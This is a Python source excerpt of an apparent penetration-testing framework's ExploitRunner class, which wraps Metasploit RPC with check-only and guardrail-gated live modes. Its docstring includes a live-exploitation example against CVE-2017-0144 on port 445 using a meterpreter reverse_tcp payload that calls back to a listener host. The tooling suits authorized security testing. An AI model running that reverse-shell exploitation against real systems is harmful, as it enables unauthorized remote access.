Class ExploitRunner

modules/exploit_engine/runner.py:44–379

Safe, guardrail-enforced exploit runner. Usage (check-only mode — no payload, no shell): runner = ExploitRunner(msf_host="127.0.0.1", msf_password="your_msf_password") result = await runner.check_cve("CVE-2017-0144", "192.168.1.100", 445) Live exploitation (requires se

    @property
    def confirmed(self) -> bool:
        return self.status == "CONFIRMED"


class ExploitRunner:
    """
    Safe, guardrail-enforced exploit runner.

    Usage (check-only mode — no payload, no shell):
        runner = ExploitRunner(msf_host="127.0.0.1", msf_password="your_msf_password")
        result = await runner.check_cve("CVE-2017-0144", "192.168.1.100", 445)

    Live exploitation (requires session.allow_live_exploitation=True):
        result = await runner.exploit_live("CVE-2017-0144", "192.168.1.100", 445,
                                           payload="windows/x64/meterpreter/reverse_tcp",
                                           lhost="10.0.0.5", lport=4444)
    """

    def __init__(
        self,
        msf_host: str = "127.0.0.1",
        msf_port: int = 55553,
        msf_username: str = "msf",
        msf_password: str = "",
        msf_ssl: bool = False,   # snap msfrpcd starts without SSL by default
    ) -> None:
        self._msf = MetasploitClient(
            host=msf_host,
            port=msf_port,
            username=msf_username,
            password=msf_password,
            ssl=msf_ssl,
        )
        self._connected = False

    # ── Public API ─────────────────────────────────────────────────────────────

    async def check_cve(
        self,
        cve_id: str,
        target: str,
        port: int,
        extra_options: dict | None = None,
    ) -> ExploitResult:
        """
        Run Metasploit in check-only mode for a specific CVE.

        No payload is staged. No session is opened. The module's check()
        method is called — it returns Safe/Vulnerable/Unknown.

        Guardrail gates: session required, ROE, module whitelist, rate limit.
        """
        ref = lookup(cve_id)
        if not ref:
            return ExploitResult(
                cve_id=cve_id, target=target, port=port, module_path="",
                status="NO_MODULE",
                error=f"No Metasploit module mapped for {cve_id}",
            )